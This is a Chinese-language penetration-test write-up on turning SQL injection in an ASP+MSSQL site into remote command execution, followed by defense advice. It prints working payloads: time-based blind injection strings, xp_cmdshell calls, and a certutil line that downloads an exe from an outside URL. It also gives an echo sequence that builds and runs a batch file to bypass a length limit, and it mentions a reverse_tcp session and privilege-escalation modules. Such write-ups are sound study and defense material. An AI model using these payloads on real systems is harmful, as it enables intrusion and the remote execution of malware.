asp+mssql的注入和命令执行(已脱敏)
字数 1118 2025-08-15 21:31:21

ASP+MSSQL注入与命令执行漏洞利用详解

一、漏洞发现与初步确认

  1. 注入点识别

    • 在搜索框输入单引号(')触发报错,表明可能存在SQL注入漏洞
    • 站点使用ASP+MSSQL架构
    • 虽然默认是GET传参,但发现可通过POST传参(使用ASP的Request.Form函数)
  2. 注入类型确认

    • 无法使用布尔盲注
    • 可使用堆叠时间盲注进行注入

二、时间盲注技术详解

  1. 基本Payload结构

    ';if (db_name()like'A%')waitfor delay '0:0:10' --
    
  2. 自动化枚举技术

    • 使用Burp Suite的Intruder模块
    • 添加a-z0-9到字典中
    • 通过响应时间判断正确字符(延时5秒表示命中)
  3. 数据库信息枚举

    • 数据库名称枚举:逐步猜测数据库名的每个字符
    • 权限判断Payload:
      ';if (select IS_SRVROLEMEMBER('sysadmin'))<1 WAITFOR DELAY '0:0:5'--
      

三、SQLMap利用技巧

  1. 基本检测

    sqlmap -u "目标URL" --is-dba
    
  2. 限制与绕过

    • 发现后端限制字符串长度为60
    • 测试方法:调整单引号长度确认限制阈值

四、命令执行漏洞利用

  1. xp_cmdshell基础利用

    ';exec master..xp_cmdshell 'ping 127.0.0.1'--
    
  2. 命令长度限制

    • 基本命令执行结构占用31字符
    • 剩余可用命令长度:29字符
  3. 杀软检测技术

    • 通过执行简单命令(ping)测试是否存在杀软
    • 观察命令执行是否成功及响应时间

五、文件下载技术突破

  1. 常规下载命令问题

    • certutil -urlcache -split -f http://suo.im/5UEWnn %temp%/1.exe (34字符,超出限制)
  2. Windows命令拼接技术

    @echo off
    set a = certuti
    set b = l -urlca
    set q = %a%%b%
    
  3. 分步写入批处理文件

    • 通过多次执行将命令分段写入临时文件
    • 使用copy命令添加.bat后缀
    • 最终执行批处理文件
  4. 完整Payload序列

    ';exec master..xp_cmdshell 'echo @echo off>>%temp%/3'--
    ';exec master..xp_cmdshell 'echo set a = certuti>>%temp%/3'--
    [...更多echo命令...]
    ';exec master..xp_cmdshell 'copy %temp%\3 %temp%\3.bat'--
    ';exec master..xp_cmdshell '%temp%\3.bat'--
    ';exec master..xp_cmdshell '%temp%\1.exe'--
    

六、权限提升与维持

  1. 权限确认

    • 使用tasklist查看系统进程
    • 确认是否存在杀毒软件
  2. 提权技术

    • 使用MSF的local_exploit_suggester模块
    • 尝试MS16-075等提权漏洞
  3. 权限维持失败分析

    • 使用未加密的reverse_tcp连接
    • 未使用RC4或HTTPS加密流量
    • 导致2小时内被防守方发现

七、防御建议

  1. 输入过滤

    • 严格过滤特殊字符
    • 使用参数化查询
  2. 权限控制

    • 限制数据库用户权限
    • 禁用xp_cmdshell等危险存储过程
  3. 监控与响应

    • 建立SQL注入攻击检测机制
    • 监控异常命令执行行为
  4. 安全配置

    • 限制SQL语句长度
    • 启用数据库审计日志

八、总结

本案例展示了ASP+MSSQL环境下从SQL注入到命令执行的完整利用链,重点突破了命令长度限制和杀软检测等障碍。攻击者通过创新的命令拼接技术和分步文件写入方法,成功实现了在严格限制条件下的远程代码执行。这提醒我们,即使存在看似有效的防护措施,攻击者仍可能通过巧妙的技术组合突破防御。

ASP+MSSQL注入与命令执行漏洞利用详解 一、漏洞发现与初步确认 注入点识别 : 在搜索框输入单引号( ' )触发报错,表明可能存在SQL注入漏洞 站点使用ASP+MSSQL架构 虽然默认是GET传参,但发现可通过POST传参(使用ASP的 Request.Form 函数) 注入类型确认 : 无法使用布尔盲注 可使用堆叠时间盲注进行注入 二、时间盲注技术详解 基本Payload结构 : 自动化枚举技术 : 使用Burp Suite的Intruder模块 添加a-z0-9到字典中 通过响应时间判断正确字符(延时5秒表示命中) 数据库信息枚举 : 数据库名称枚举:逐步猜测数据库名的每个字符 权限判断Payload: 三、SQLMap利用技巧 基本检测 : 限制与绕过 : 发现后端限制字符串长度为60 测试方法:调整单引号长度确认限制阈值 四、命令执行漏洞利用 xp_ cmdshell基础利用 : 命令长度限制 : 基本命令执行结构占用31字符 剩余可用命令长度:29字符 杀软检测技术 : 通过执行简单命令(ping)测试是否存在杀软 观察命令执行是否成功及响应时间 五、文件下载技术突破 常规下载命令问题 : certutil -urlcache -split -f http://suo.im/5UEWnn %temp%/1.exe (34字符,超出限制) Windows命令拼接技术 : 分步写入批处理文件 : 通过多次执行将命令分段写入临时文件 使用copy命令添加.bat后缀 最终执行批处理文件 完整Payload序列 : 六、权限提升与维持 权限确认 : 使用 tasklist 查看系统进程 确认是否存在杀毒软件 提权技术 : 使用MSF的 local_exploit_suggester 模块 尝试MS16-075等提权漏洞 权限维持失败分析 : 使用未加密的reverse_ tcp连接 未使用RC4或HTTPS加密流量 导致2小时内被防守方发现 七、防御建议 输入过滤 : 严格过滤特殊字符 使用参数化查询 权限控制 : 限制数据库用户权限 禁用xp_ cmdshell等危险存储过程 监控与响应 : 建立SQL注入攻击检测机制 监控异常命令执行行为 安全配置 : 限制SQL语句长度 启用数据库审计日志 八、总结 本案例展示了ASP+MSSQL环境下从SQL注入到命令执行的完整利用链,重点突破了命令长度限制和杀软检测等障碍。攻击者通过创新的命令拼接技术和分步文件写入方法,成功实现了在严格限制条件下的远程代码执行。这提醒我们,即使存在看似有效的防护措施,攻击者仍可能通过巧妙的技术组合突破防御。